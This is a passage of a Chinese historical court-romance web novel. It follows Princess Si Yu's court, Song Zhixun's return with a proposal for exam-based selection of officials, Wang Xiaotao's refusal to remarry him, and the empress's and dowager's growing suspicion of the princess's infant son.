除夕没有月光,但星光却是璀璨。每到夜半时分,最是思?念京城,今夜更?是。 公主她,定也没有入睡,因为今夜是除夕。不知道关于未来的事她考虑得怎么样了,也不知道她有没有在操劳之余好好休息,更?不知她此刻会不会想起他,他看着?夜空,心中涌起无尽的柔情。 除夕过后的第一天,宫中大朝会,算是百官给皇上拜年,到第二日,百官不约而同齐聚公主府门前,来给公主拜年,简直比初一的大朝会还热闹。 公主让人都散了,人与礼品都拿走,此事让宫中知道,皇后挑了个皇帝开心的时候,和他道:“那些官员可真是心思多,我听说去公主府,有的拿金像,有的拿铜盆那么大的珊瑚宝树,还有人竟拖了一车的锦缎,他们?来见皇上,也没这么阔绰过。” 皇上道:“那是当然,他们?想巴结皇姐嘛。” “原来皇上知道他们眼里只有公主啊。”皇后不悦道:“我以为皇上已经忘了自己才是皇上。” 皇上拿了一只桃子蜜饯吃,不吭声。 皇后道:“照理说,皇上大婚就?已算成年了,如?今皇上已满了十六,长公主她没和皇上提过让皇上亲政的事吗?” 皇上解释:“皇姐让我看过那些奏疏,还让我试着?写批注,我写的皇姐不满意。 “当然,我也不想写,那些大臣,要不是你告我,我告你,就?是你替我求情,我替你求情。然后就?是哪里?缺钱,哪里?收成不好,你说给他们?钱,给他们?免赋税吧,少?府又说建宫室缺钱;太尉府还很霸道,张口?就?是几?十万的军饷;然后呢,大司农又天天哭穷,说税收不上来,这儿没钱那儿没钱。朕不知道怎么办,皇姐比朕耐烦,愿意去琢磨这些。” “可皇上总要亲政,长此以往,这天下?到底是皇上的,还是公主的?”皇后急道。 皇上觉得她问?的有些莫名其妙:“就?算是皇上,那不也是把事交给丞相吗?我就?当皇姐是丞相就?好了。再说不管天下?是谁的,不都是我们?家的吗?要不是皇姐,都要落到别人家了。” 皇后问?:“那皇上可曾想过,有一日公主想拉下?皇上,自己做这皇帝呢?” 皇上笑了:“皇姐不是那样的人,再说就?算她想,那也不可能啊,她是公主,不可能的。” “但她有儿子,还是高盛的儿子,我听说高盛要让那孩子姓司。” “你说小嘉?”皇上问?,“姓司吗?那算是……高盛入赘?他能愿意吗?” 皇后一阵冷笑:“要是普普通通入赘,他当然不愿意,但要是有好处,他就?愿意了,比如?让孩子姓司。” 皇上想了想,想不明白:“姓司,然后呢?” 皇后道:“姓司,证明他是司家子孙,这是不是代表他是先帝的孙子,还是皇长孙?” 皇上一笑:“那不能吧,这也不能这么算啊,他是高家人。” “可如?果他们?就?让小嘉姓司,就?算他是皇家人呢?”皇后问?,“公主把持着?朝政,高盛手里?握着?大半的军队,他们?想做什么不成?” 皇上沉默无语,仍吃着?蜜饯,只是速度慢了很多。 “他们?怎么想,那也是……没办法的事,我又能怎么样?”皇上道。 之前安朝烈还想废了他呢,屈继先还青天白日把二皇姐给掳走侮辱了,他知道自己无力反抗,也早已习惯了承受,如?今的日子对他来说已经算很好了。 皇后恨铁不成钢地叹息一声,随后耐着?性?子道:“皇上怎么不能怎么样呢?皇上可是皇上。万事未雨绸缪总是好的,绝不能等到无力回天了再来后悔莫及。” 皇上不爱听这些,又是沉默。 皇后再要说话,皇上突然道:“对了,我让他们?去弄些爆竹过来,不知弄来了没,我去看看。”说着?就?逃也似的走了。 皇后看着?他的身影,万般失落不甘。 皇上窝囊,连带着?她这个皇后也窝囊,恐怕在文武群臣眼里?,他们?和御花园里?养着?的那一对玄武神龟差不多,也就?是个样子。 正月十六,豫州送来战报,首战二战皆胜,收复豫州指日可待;也在这一日,司妤决定重修太学,而宋之洵却突然出现在公主府前,要拜见长公主。 听人来报,司妤十分意外,她没想到有一日还能见到宋之洵,而且是他自己上门来。 她也想不到他来见她的目的。 司妤命人召见。 隔了一会儿,又交待:“此事先不要让县君知道。” 赵良低头道:“是。” 随后赵良出去了,没一会儿宋之洵被人带进厅堂。 他也有些变化,肤色黑了许多,衣衫虽整洁,却也没之前那般锦衣玉带,贵气?十足,以及,他脸上神色也平静沉着?了许多。 宋之洵跪下?叩拜:“草民宋晋平,拜见长公主。” 宋之洵当初被高盛“斩”了,现在他叫宋晋平,也就?是明确的宋之洵身份,他字就?是景平。 司妤道:“你既是一介草民,来见我有何事?” “听闻公主广纳贤才,草民毛遂自荐,请求入朝为官,效忠朝廷。”宋之洵说。 第63章 第 63 章 以宋之洵的才学武功, 的确能做官,司妤只是好奇,他离开这么久, 却突然有此举。 她问:“你想做什么官?” “若要推行一项策令, 该做什么官?” 司妤怔了一下,随后道:“那大概就是丞相?了。” 宋之洵道:“草民想日后做丞相?, 推行分科举人之法,摒弃当今征辟、察举之制。” 所谓征辟,是天?子?或朝廷征召德才双备之人出来做官,天?子?征召, 称为征,朝廷官府征召, 称为辟。一般也都是征召有德行名望之人。 而察举, 则是各州郡长官推举辖境内有才学之人给上级或朝廷, 朝廷核查过后派任官职。 最初朝廷会直接派官,后来改制, 被推举的人也要经过考核。 司妤问:“你说的分科举人,是经过分科考试后再按考试结果决定官职?这与现今儒生的分科考核, 有何区别??” 宋之洵道:“现今儒生考核,是被察举之后才能进入朝廷考核,虽说比之前直接派官公平了不少, 但也须先被察举,才能被朝廷考核, 究其根本, 最后为官的仍是那些州郡官员的门生故吏, 或是亲朋好友,这些人再互相?举荐, 广结朋党,天?长日久,察举之制就成了官员间壮大自己的工具,至于朝廷是否能选到可用?之材,已不再是重要的事 “最后便是朝廷无可用?之人,而官员关系盘根错结,势力越来越大,甚至盖过朝廷;以及士族永远屹立不倒,寒门永无出头之日。” 司妤也知道官员的力量过于强大,每个人背后都是好几代人经营成的可怕的关系网,这些人结党营私,互为靠山,朝廷也只能被蒙蔽、被压制。 宋之洵继续道:“草民说的分科举人,是不必靠州郡官员察举,而朝廷颁布考试细则,有意者?自己报名,通过考试则可录取,从而入朝为官。” “自己报名?”司妤一怔,这也就是说,做官不再是世家贵族专属,假使?一个穷人,他读了许多书,或是他深谙兵法,是否就可以报名参与朝廷考核,从此踏上官途? 她想起?了高?盛。 高?盛是十四从军,出生入死,一步一步做上都尉的,但因官职靠举荐,因为身份,他便止步于都尉。 如果他出生贵族,他能一开始就成为将军;如果他能参加考试而不拘于身份,大概也能被看?出天?生将才。 当为官不论出身,那朝廷上便会有许多寒门出生的官员,则以后寒门与士族之间的鸿沟会窄许多,甚至可以废除察举制,任何官员都不可推举儒生,如此一来,士族不再让人艳羡,通过朝廷考试,才让人艳羡。 司妤道:“你之所言,确为革故鼎新之举,只是时机未到,如今的大兴还远没?有那样?的力量来大举改革,朝中重臣也多是通过征辟察举来的,他们铁板一块不同意,我?也没?办法,甚至会影响平定天?下之大计。若有一日天?下太平,百废待兴,我?会考虑此事。” “有公主?此言,草民此行已如愿。” 司妤想了想:“如今正重建太学,儒生考试也在太学中,你便为国子?祭酒,教授学生经史子?集,他日天?下平定,我?们可再议分科举人之事。” “是,谢公主?。”宋之洵叩拜。 “你先起?身。”司妤说,随后静默一会儿,问他:“你可知,长庆县君也在公主?府?” 宋之洵微微一滞,回道:“臣只知太尉做了驸马,并不知长庆县君之事。” “那你准备如何面对长庆县君?” 宋之洵回答:“臣明白,宋之洵虽已死,但此事还需臣去了结,之后……臣会与县君说清楚。” 他明显是早已作好决定的,连刚才谈起?分科举人还侃侃而谈,从容应对,此时说起?这事,却有些支吾。 “不是之后,是尽快。”司妤道:“你与她是拜过堂的夫妻,她也知道你没?死,我?不知你在外是否有另娶他人,但她至今未嫁,是否是觉得她已是你妻子?呢?” 宋之洵听?出来,公主?这是站在长庆县君的立场,替长庆县君说话。 是的,论关系,她现在也算长庆县君的婶母,是她长辈。 宋之洵低头:“臣会尽快处置此事。” 司妤看?着?他,便知无论是之前,还是现在,他对小桃都没?有半点情谊。 可她又怕小桃仍对他情根深种。 高?盛总惦记的,也就是小桃的婚事,她已经年满二十了,主?动结亲的当然多,但那不是看?中小桃,而是看?中她的身份,高?盛不愿让她联姻,只想让她自己找个喜欢的,可惜她一直说没?有喜欢的,不想嫁人,便蹉跎至今。 如果她就是因为挂念着宋之洵,而宋之洵对她完全无意,那她注定要失落。 宋之洵离去后,第二日就给王小桃下了拜帖,约她在离公主府不远的长风亭见面。 王小桃一见宋晋平的名字,便知这就是宋之洵,他回来了。 司妤也让人关注着?小桃这边的动静,她虽是小桃的婶婶,但两人私下相?处的时间着?实不多,远远称不上“无话不谈”,加上她自己与宋之洵的关系,自然不会谈起?感情的事,所以她从没?问过小桃这些。 但她还是关心小桃的婚事,所以宋之洵的帖子一送进府中,司妤就知道了,小桃第二日去见宋之洵,司妤也知道了。 但小桃身边丫鬟来报,小桃自己出去了,不让人跟着?。因为上次的事,丫鬟可不敢让她独自出门,这便慌忙来禀报司妤。 司妤想着?,小桃既然非要独自出去,定是不想让人知道她见宋之洵的事,如果自己一定要派人跟着?,反而让她难堪。 她唤来马毅,和马毅道:“你去追上县君,就远远跟着?,不要让她知道,她若无危险,你不必出现,她若有危险,你便护她安危。” 马毅领命而去。 小桃雇了马车到长风亭,宋之洵早已等?在那里。 他与之前比起?来,变了许多,明显离去这一年多的日子?并不好过。 她忐忑着?到长风亭,迟疑一会儿,开口道:“宋公子?。” 这也是她在马车上默念了许多次的称呼,她想他一定不喜欢听?到她叫他夫君。 宋之洵倒是朝她露出一个淡淡的笑容,随后道:“县君,好久不见。” 小桃抿唇露出勉强的笑,竟不知道说什么。 好在宋之洵也并没?让她太为难,很快道:“之前的事,是我?对不起?县君。离京这一年多,我?去了许多地方,见了许多事,也想了许多,想我?究竟要什么,又能做什么,为什么我?会活成自己不喜欢的样?子?,为什么一事无成,还辜负了许多人。” 小桃安慰他:“宋公子?很好,没?有错。” 宋之洵摇头,随后道:“但我?知道,我?辜负最深的是你,我?想我?既和你成婚,就该对你负责,该好好待你,而不是一走了之,对你不闻不问。我?知道在旧都时,你还曾祭拜我?母亲,多谢你。只是如今宋之洵身份已死,若县君愿意,我?愿与县君重新拜一次堂,余生举案齐眉,夫妻和睦。” 小桃说不出话来。 她的确一直觉得自己就是他的妻子?了,觉得如果能再见到他该多好,可如今他回来,说他还愿再娶她一次,她竟一点都高?兴不起?来。 她不知道这是为什么,不知道自己在想什么。 宋之洵看?她不说话,又道:“当然,我?想,县君的婚事太尉总会作主?,如果太尉不同意,我?也尊重太尉的意思,不知对重新成婚一事,县君意下如何?” 隔了好久,小桃才道:“我?……我?想想。” 宋之洵道:“好,那县君考虑好,便让人送信到榆林巷,我?住在那里。” 小桃点点头。 宋之洵看?一看?不远处的马车,朝小桃微躬身行过一礼,离去了。 小桃站在亭子?内,看?着?远去的宋之洵,竟有些不知所措。 她在亭子?站了好一会儿,车夫来问她还走不走,她一点儿也不想走,便付了钱,让车夫先离去。 又过一会儿,有远行的几个男人到亭子?内歇息,她不想杵在这里,只好离开了,走到不远处的一条小河边,在河边坐了下来。 如今已过了隆冬,但早晚仍然会冷,特别?今天?是阴天?,没?有半点太阳,也不知等?下会不会下雨,风又刮起?来,野外越发寒冷。 马毅不知道如果天?黑了,又下雨了,还冷,算不算危险。 最初他还以为县君要投河,后来发现不是,他就远远候着?,没?想到这一候就候了几个时辰。 他知道公主?一定在府里等?着?消息,这么久不回去,公主?一定会着?急。 但公主?又交待,如果没?有危险,就别?让县君知道他的存在。 他自知不算个聪明的人,实在不知道该怎么办。 后来天?竟真的飘起?牛毛细雨,县君却依然没?有要走的意思,他只好上前去。 听?见动静,小桃吓了一跳,立刻回过头来,却发现是马毅,脸上露出几分意外。 马毅上前抱拳道:“见过县君,在下受公主?之命前来护卫县君,天?将黑,又下雨,县君是否先回去?” 小桃眼中有泪痕,转过头去不说话。 马毅只劝了一次,就沉默地等?在一旁。 但雨一直在下,不到淋湿人的地步,却终究是雨。 小桃觉得让别?人陪自己吹风淋雨很不好。 而且她也意识到,可能他很早就来了,一直陪她在外面吹着?风,直到现在要到傍晚了,又下雨,他才过来。 她只好起?身,往公主?府的方向走。 马毅问:“县君是否要上马?” 小桃能走,正准备说不要,却想起?自己脚上这双鞋,这是为了来见宋之洵而特地换上的很好的鞋子?,上面是用?金银线绣的花,还缀了珍珠呢。 若是沾了泥,还要洗,那一洗几乎就废了。 她就不该在这种天?气?穿这鞋出来,还让马车离开。 于是她只好点头,在马毅的注视下很不容易爬上了马背。 马毅牵着?马往前走。 想到自己今日让他等?这么久,她在马上道:“对不起?,让你等?了那么久。” 马毅略微停顿,竟忘了回话。 他是以流民身份进的公主?府,而公主?府中其他护卫都是世家贵族子?弟,家中再不济,也有人在军中述职,只有他什么也不是。 所以他习惯了所有人的颐指气?使?,高?高?在上。 但尊贵的县君、太尉的侄女,竟会和他说对不起?,让他等?那么久。 小桃过了一会儿又说:“今天?的事,你不要和别?人说,就说我?见小河边好看?,就沿河走了一圈。” 虽然她觉得马毅不像是那种说三道四的人,但还是想交待一声。 马道回答:“是。” 只有一个字,似乎多一个字都不愿说。 她不禁莞尔,自己真是多想,竟然会担心他去传话。 但显然,他回去是要复命的,公主?既然知道她在这里,自然也知道她是要来见宋之洵,然后…… 她觉得自己像个可怜又可笑的傻子?,尽管公主?很好,但也会忍不住这么认为吧。 像公主?那么聪明的人,肯定早就看?出来宋之洵一点都不喜欢她,因为宋之洵喜欢的是公主?那样?的人,她有什么,能去和公主?比呢? 府上那些人,说不定知道后也会笑她,死乞白赖要嫁,然后守着?半个宋夫人的名分不放手,迟迟不嫁,谁不知道她就是等?着?宋之洵呢? 这时马毅突然主?动开口:“那人看?着?不像好人,他若敢对县君不敬,县君不必心软姑息,大胆惩治就是。” 小桃突然就愣住了,因为她第一次听?人用?“那人看?着?不像好人”来形容宋之洵。 那可是宋之洵,世家公子?,京中俊秀,听?说十几岁就名动京城,这才差点成为长公主?的驸马。 第一次见宋之洵,就是她才从建德过来,一路风尘,乍然看?见翩翩白衣的宋之洵。 就像一只地上扒食的家鸡,看?见天?上飞过的白鹤。 他那么俊朗,那么优雅,那么温润,那么高?贵,让她第一次知道世上还有这样?的男子?。 此后每一次面对他,她都觉得自己在仰望神祇,说每一句都提前在心里想好久,他说喜欢她,她高?兴得睡不着?,他说不喜欢她,她难过得也睡不着?。 一直觉得她对他就是癞□□想吃天?鹅肉,所以今天?他的态度,也让她觉得他有资格如此,没?想到却有人说让她不必心软姑息,大胆惩治。 这一刻她也才意识到,为什么明明他说要娶她,她却不高?兴。 因为他的态度是那么的高?高?在上。他要走,就走了,他要回来,就回来了,然后说愿意再娶她一次,说成了亲就要对她负责,有一种屈尊纡贵的意思。 她是什么,是他手上的一件东西吗?想要就要,想扔就扔?他用?那样?理所当然的态度来和她说愿意负责,可曾想过她愿不愿意?可曾关心过那时候他离开她又在京城怎么过? 他并不关心,也不在意,他只是居高?临下,以一种悲悯的心态捡回自己丢弃的小猫,决定再给它?一口吃食。 小桃终于明白自己为什么难过了,第一是他果然不喜欢自己;第二是她在他眼里,只是个在原地等?着?他的可怜虫。 可是,她是县君啊,她向来循规蹈矩,没?有做任何错事,宋之洵凭什么这样?高?高?在上轻慢她? 马毅说的对,她要是不高?兴,都可以随意征治宋之洵,他竟然说要对她负责,所以决定再和她成一次婚。 她突然就笑了,和马毅道:“你说得对,我?突然就不难过了。” 马毅回过头来看?她一眼,眼里有几分不解:如果是这么容易的道理,县君应该早就知道才是。 第64章 第 64 章 小桃现在想通了?, 心情?大好,便主动对马毅道:“你知道以前旧都?发生?的事吗?” 马毅摇头,想了?想又说道:“知道一点。” 以前做普通百姓, 自然?不知道, 只知道动不动就打仗,听说连京城都?在打, 后来做了?公主府侍卫,有时会听一些老人闲聊起来,说最开始朝中事都?是太尉作主,后来太尉被公主刺伤了?, 朝中便由一个叫安朝烈的作主,再后来公主和太尉又杀回了?京城, 取了?安朝烈的命, 朝中就由公主和太尉共同作主……当然?, 这都?是以前的事。 小桃说:“刚才那个人,他是以前京中很有名的一位公子, 出自建德宋家,我那时候喜欢他, 我表叔就去和他议亲,他同意了?,他还和我说他也喜欢我, 后来我才知道,他娶我就是为了?杀我表叔。” 听到这里, 马毅也不禁回过头来。 小桃继续道:“我们成亲当晚, 他集结了?许多?人去杀表叔, 但表叔有防备,将他捉住了?, 表叔要处死他,因为我向表叔求情?,表叔就留了?他一命。 “再后来,表叔受伤顾不上他的时候,他想逃走,我就放他逃走了?,之后近两年?他都?没再出现,音信全无,这一次却突然?回来了?。 “他刚才说,娶了?我,就该对我负责,所以他准备用新的身份再和我成婚一次。” 见她后面没再说了?,马毅问:“那县君同意吗?” 小桃却反问:“你说我应该同意吗?” 马毅没想到她会问自己,他什么?身份,能过问县君的婚事? 但县君和他说了?这么?多?,他理所当然?要说两句,他道:“县君真?还喜欢他,就同意,没那么?喜欢他,就不同意。反正日子过得不好,县君也能和他和离;没了?他,县君也能找更好的人。” “和离?”小桃反问,有些意外。 的确能和离,但总归不好,而她没想到他能将此?事说得如此?随意。 马毅认真?道:“正是,反正天?下男子,任县君挑选。” 小桃又被逗笑了?,她明白了?,在马毅眼?里,她是县君,是表叔的侄女,她想干什么?都?行。 所以她是自由的,除非她非要得到宋之洵的心,又得不到,这样才会让她痛苦。 “算了?,那我就拒绝他吧,真?和他成亲,我也不会开心,还让他觉得委屈。何必弄得自己不开心,他也不开心。”小桃作出了?决定。 马毅没有说话,小桃觉得和他说心事还挺有用,便又道:“其实我也没你想的那么?好说亲事,我已经二十都?过了?,人家就算娶我,看中的也是我表叔的权势。” 马毅回过头来:“那,怎么?了?呢?” “就是,别人其实是看不上我的啊,我年?龄大,长相一般,字也认得不多?,而且……我以前都?是在村子里长大的,在他们这些京城贵人眼?里,我就是个运气好的村姑。” “但人都?会老,老了?也会不好看,县君却永远是太尉的侄女,也永远是县君。”马毅说。 换言之,身份地位,比年?龄与容颜更稳定更牢固。 如果说,看中了?年?轻与容颜,那当这种年?轻与容颜消失时,感?情?还在吗? 所以,单纯的看中年?轻与容颜,不过是对姬妾的态度,当看腻了?,也可以马上换一个。 小桃明白了?,最牢固的,大概是看中一个人本身的性情?,但这又谈何容易,她连认识的男子也没几个,更不会去知道人家的性情?,人家也不会知道她的性情?。 但总之,她确定了?自己要拒绝宋之洵,今天?能这么?快想通,能作出这个决定,多?亏了?马毅。 她和马毅道:“谢谢你啊马毅,你帮了?我两次。” 马毅一时竟不知道怎么?回,低下头,脸上露出几分无措。 他习惯了?少说多?做、不生?事非、踏实度日,现在身份尊贵的县君因为一些理所当然?的事这样感?谢他,他完全没有应对的经验。 最后他选择什么?也不说。 等到快到公主府,小桃突然?又道:“明天?或是后天?,我要去和他说清楚,我不稀罕他的‘负责’,我想嫁谁就嫁谁,想不嫁就不嫁,还轮不到他负责,你和公主说一声,你陪我去吧。” 末了?怕他难做,又补充:“或者我去和公主说,让你陪我去。” 马毅回答:“属下去找公主说就是,公主关心县君,不会反对。” 小桃就心安了?,觉得此事不再能扰乱自己的心绪。 宋之洵回京之事,震惊了?某些经历过旧都?之乱的老人,特别是他还被公主授了?官,官还不小,似乎是要重用。 这让朝中议论纷纷。 他名叫宋晋平,但谁不知道他就是宋之洵?而且他也没有刻意隐瞒这一点。 曾经他可是意图刺杀太尉,被太尉当众斩首了?。 先不说他为何还活着,但他理该是太尉的肉中刺,如今公主却趁太尉不在,对宋之洵破格封官,青睐有加。 还有人记得公主与宋之洵早期的婚事,也记得宋之洵离开后,公主曾宠幸过同为世家公子的梅先生?一段时间,一时间便有人说,公主与宋之洵,怕是旧情?复燃。 这声音也传到了?宫里,皇后闲暇间和太后提起。 太后道:“她喜欢宋之洵,也情?有可缘,要不是这些事,怕也不会嫁给那高盛。” 在太后心里,高盛就是粗俗不堪的草莽之辈,司妤绝不会真?心喜欢。 皇后回道:“这样也好,就怕公主和太尉太要好,休戚与共,夫妻同心。” 她之前就与太后说过高盛要让小嘉姓司,皇上已年?满十六,公主却完全不放权的事,太后毕竟老成一些,没皇上那么?无所谓,只是感?念今日的安定全由司妤带来,不愿去和她起矛盾。 但心里毕竟是有芥蒂的,唯恐因为自己心软大意,遭来祸事。 现在听皇后说这话,她明白其中意思,也认同儿?媳的想法。的确如果司妤与高盛不和,他们就会各自为营,争斗不休;如果他们夫妻同心,那就有可能要来篡夺江山了?。 太后道:“要不然?,你和皇上说,叫宋之洵进?宫一趟,再加些封赏,也算皇上对长公主的支持。” 皇后发现婆婆虽然?一直温吞无能,但偶尔还是有聪明的时候,比如这个主意就非常好:宋之洵越受宠幸,远方的高盛就越不高兴,他不高兴,不定做出什么?事来,这样公主也就不高兴了?。 宋之洵风头正盛时,小桃也约了?宋之洵见面,就在之前见面的长风亭内。 这次是让马毅赶的车,他不太会,到得有些慢,宋之洵又比小桃早到,小桃自觉惭愧,于是一下马车就往长风亭中跑,慌忙到宋之洵面前,道歉道:“怪我出门晚,让公子久等了?。” 宋之洵语气温润:“县君言重了?,我也没到多?久。” 小桃平复着气息,宋之洵看着她,过一会儿?问:“县君要见我,是考虑好了?上次所说之事?” 小桃点头,待平静下来,回道:“我想好了?,如果你不是宋之洵,我和你就没关系;如果你是他,我和就你和离,以后我们各自嫁娶,再无关系。不管怎样,我们都?不再有关系。” 宋之洵有些意外,纳闷地看着她,随后问:“县君可否告知,为什么??” 小桃回道:“公子对我只有利用、不屑,我拒绝公子的提议不是很正常吗?我是当今太尉的侄女,我有许多?选择,为何偏要选一个对我不好的人?” 宋之洵怔住,他没想过王小桃会这样说他,说他对她只有利用和不屑,说他对她不好,可他分明是考虑了?很久很久,犹豫了?很久很久,最后决定对她负责,这如何叫不好? 小桃道:“宋公子,我知道你内心是不愿意再娶我的,也知道决定娶我对你来说是一种牺牲,可你的牺牲并不是为我,是为你自己,因为你想做一个‘负责任’的人。 “你从没想过我想要什么?,你只是高高在上,像天?神施舍凡人一样对我说愿意再娶我,好像这样你就成了?好人、圣人,但我不需要你的怜悯,我只是曾经喜欢你,想嫁给你,你不喜欢我也是可以的,你和我说不喜欢我就是了?,我反而觉得你当面一套背后一套才不对。” 宋之洵犹如受到一阵惊雷般愣在原地,随后竟不知所措,脸上红一阵白一阵,一时间羞愧不已。 他自觉自己看清了?许多?,经历那么?多?事,已经如凤凰涅槃,脱胎换骨,他觉得他接近超脱,梦想着有一天?济世救民,成为‘仁者’,追赶圣人的脚步,却没想到会被一个乡野出生?、大字不识的姑娘说他高高在上,所谓的“负责任”只是为自己。 最重要的是,他竟觉得她说的是对的。 他的确没真?正替她想过,她在他心中,只是一个模糊的身份而已,至于她想什么?,做什么?,他不必去在意。 那他提出的分科举人之制呢? 是真?正为天?下寒门,还是为自己? 很快就有了?答案,他更想成为开天?辟地之人,想做贤臣名相,想因分科举人的提议而名留青史。 狭隘如他,反而配不上通透清明、爱憎分明的长庆县君。 他一句话也说不出来。 小桃道:“我想起来,你没有宋之洵的身份了?,那我们的和离书也写不了?了?,就算了?吧。我发现我也可以不那么?在意你,慢慢我就会忘记你的,所以你也不用愧疚,就安心去做自己的事,去成婚吧,我也会再嫁的,虽然?我年?纪大了?,但因为我表叔,来求娶的人其实还挺多?的。” 她说完,露出一个不太好意思的笑容,似乎不太习惯这种自夸。 小桃最后轻松地朝他行了?一个礼,就提了?裙子小跑着往马车那边去了?。 她依然?不像真?正的世家贵女,因为她们永远不会跑这么?快,就像他也习惯了?举止有仪一样,但现在看着她的背影,却有一种自己从未见过的,少女独有的天?真?烂漫。 她其实是个……善良、洒脱、又纯真?的姑娘吧,他突然?想要知道她内心到底是怎样的,可是再也没有机会了?,从今日起,他们不再有任何关系。 第65章 第 65 章 离开长风亭, 坐上马车,直到?马车走?了一段,小?桃才从马车内探出头来, 和马毅道:“马毅, 我从没有想过,有一天?我会拒绝宋公子, 我不后悔。” 马毅不知说什么,没回?。 马车走?到?一个山坡旁,山坡上长着野桃花,此时正开得娇艳。 这条路经过好几次, 她早就看到?了,只?是第一次心里只?有宋之洵, 第二次天?已快黑了, 心里依然?挂念着宋之洵的事, 第三次就是今天?,时间来不及, 这一次,她想好好看看。 于是她让马毅停下, 自己下了马车。 走?到?山坡,站到?桃花树下,她说道:“但是, 我现在好像算是一个寡妇了。”她叹了口气。 回?过头,她问马毅, 将他打量一番, 问:“你……有妻儿吗?” 马毅微低下头:“禀县君, 在下没有。” 但看他年龄,也是二十多了, 她问:“为什么没有?” 马毅回?答:“我父亲是上门女婿,母亲很?早就不在了,父亲又去别家?做了上门女婿,没人管我,我没有田产家?业,也没有父母双亲,靠帮人做短工度日?,没人会嫁给?我。” 小?桃十分清楚乡下的情况,一个无父无母的孩子,连活着都艰难,女孩会被族人早早许配人家?,男孩呢,就算勤快能糊口,也是一辈子光棍。 “但现在你手上有钱了吧?你可是公主?府的侍卫。”她问。 马毅有些结巴“攒……攒了一点。” 小?桃笑了,脑中想象他是默默在攒老婆本,觉得他可真?是踏实可靠,谁要是嫁了他,一定是会很?不错。 …… 早朝,弹劾高盛的奏疏又多了一些。 以临汾王为首的几人都上奏,劝司妤下令让高盛即刻出兵,若再?抗旨,证明其有异心。 高盛与屈继先?对峙已有四个月了,除了最初两次出击取胜,之后竟闭守不出,双方再?未有大的交战。 但屈继先?有人有粮,他是耗得起的,高盛这边需要朝廷筹集军粮后再?运过去,劳师远征,持久战并不合适。而且当初朝廷制定的方略是速战速决,根本没准备耗这么久。 有朝臣说高盛这是拥兵自重,别有他图。 高盛也有战报送至京城,无外乎就是那些话,敌军强劲,锐气正盛,前两次是险胜,不可再?贸动。 这些话说服不了朝臣,除了高盛的死忠,更多人偏向不可轻信高盛,朝中需另作谋划。 所谓另作谋划,要么是下旨严令高盛出击,要么是换将,于是李琚代高盛为帅的提议再?次被提出。 司妤将这些谏言全都按下。 但心里也是着急的,不只?在懿旨上让他不可再?耽误,在秘信里也问他,到?底什么时候才能决战。 可高盛却先?收到?了自己在京中亲信的秘信。 信上称,宋之洵回?京了,改名宋晋平,且得到?公主?亲自召见与提拔,破格让他做了太学国子祭酒,宋之洵也时时受召进出公主?府;皇上念其才高,特许宋之洵进宫侍讲。 高盛又看司妤的信,发现她对此只?字未提。 他几乎就想派人进京去杀了宋之洵。 这姓宋的竟还敢出现?这让小?桃怎么办?小?桃到?底是寡妇,还是与他是夫妻?他就没想过要给?小?桃个交待? 而这所有一切,司妤都不管?反而再?次宠幸宋之洵,对他大加封赏? 高盛气得按不住自己刀。好歹还有理智,拿过纸笔,刷刷写了满满五页信,当即就让人立刻送去京城。 司妤收到?了五百里加急秘信,以为是终于决战了,或是军中有大变动,一打开,竟是满满五页对她的质问和控诉,以及命令和威胁让她杀了宋之洵。 关于她私下问他的决战之事,竟是敷衍地用一句“我自有安排,不用公主?烦心”来打发。 她自然?知道,京中有人在给?他通风报信,替他盯着朝廷、盯着她,她能理解,因为如果是她,她也不会完全不问京城事。 但她也很?气,他与宋之洵有私怨,却掩盖不了宋之洵的确有抱负有才能之事实,分科举人现在的确是空谈,但真?有一日?天?下安定,自然?要大兴改革,到?那时他将会成?肱骨之臣,位置比现今某些武将还重要。 她本想立刻回?信过去,和他争执一番,后来一想,算了,既然?他如此不可理喻,那就让他晾着,气死他。 于是她不回?信了,假装没收到?他的信。 气恼地将信塞进抽屉中,却听见外面有嘈杂之声,正好心中发闷,她便走?出门来,不期然?看见好几只?白鹤从远方飞来,竟在屋顶栖息盘旋。 宫女与侍卫都忍不住抬眼看,甚至那白鹤越来越多,慢慢都已是一群白鹤。 这可真?是奇景,京中喧嚣,又不是什么山清水秀之地,平时一只?白鹤都靠富贵人家?专门养着,怎么会凭空飞来这么多白鹤呢? 下人们啧啧称奇,司妤也好奇,赵良连忙赶到?她身旁,和她道:“恭贺公主?,奴才去看了,别处都没有,就咱们公主?府屋顶上有,此乃白鹤呈祥,大吉呀!不日?捷报将传至京城,太尉大胜,天?下定在近两年内平定!” 司妤知道他是说好话,却也还是听得高兴,笑道:“哪有你说得那么夸张,若能在五年之内平定,我就谢天?谢地,谢司家?先?祖了。” 赵良道:“公主想,太尉平豫州,最慢也是今年,这样北方平了,朝廷缓过气来了,南方那些刺史将军的也在观望啊,见朝廷势不可挡,必会纷纷投诚,一齐讨伐那些不听朝廷令的乱臣贼子,这样一来,平定南方也就是一两年的事,怎么夸张呢?” 他说得虽乐观,却也有道理,司妤仍是笑,抬眼看,天上的白鹤更多了。 这一群白鹤在公主?府上空停留一下午,直到?傍晚天?黑才慢慢离去。许多人到?附近来围观,惧是啧啧称奇,也有不少人还记得去年那桩奇谈,又提起来:天?上一只?白鹤飞到?了公主?府小?公子面前,翩翩起舞。 第二日?一早,皇后就匆匆来给?太后请安,说起这事。 太后却还不知道,问她:“这是昨日?的事?当真??” 皇后急道:“自然?当真?,这事许多人都看到?了,母后召外面人来问一问便知,今日?满城都在议论此事呢,说公主?府要有大喜,要么就说公主?府要出什么大人物,还说那大人物就是公主?府小?公子。” 太后也有些不安了。 如果是普通人家?,再?说什么大人物,不外乎是出将入相,做个大官,可小?嘉已经是公主?的儿子了,身份足够尊贵,还能怎么尊贵? 加上高盛要让小?嘉姓司。 太后紧锁眉头,不安地深深吸气。 皇后道:“皇上仁善,不为自己着想,母后得为他着想啊。” 太后的确一颗心都在儿子身上,问:“可,要怎么为他着想?总不能对妤儿怎么样,她也是一心一意为了司家?,高盛倒是要防,可咱们也奈何不了他。” 皇后回?答:“母后可知,公主?为何下嫁高盛?” “这样高盛就成?了驸马,是为外戚,他若篡夺皇位,天?下都要征讨。” “正是,所以至少目前,高盛是不足为虑的,他离皇位还很?远,再?说公主?也不会那么傻,让他篡权夺位,但如果是小?嘉呢?那可是公主?的亲儿子。” 太后仔细琢磨,确实如此,如果高盛觉得自己篡位无望,要让小?嘉登上帝位,那司妤说不定就会同意。 “小?嘉……小?嘉……”太后叹息一声,她也见过那个孩子,才几个月,长得是真?好,又精神又好看,还聪明伶俐,而现在得知他有可能威胁到?皇上的地位,便再?也喜欢不上来,恨不得他能生点什么病,出点什么意外才好,如此这些事就都没了。 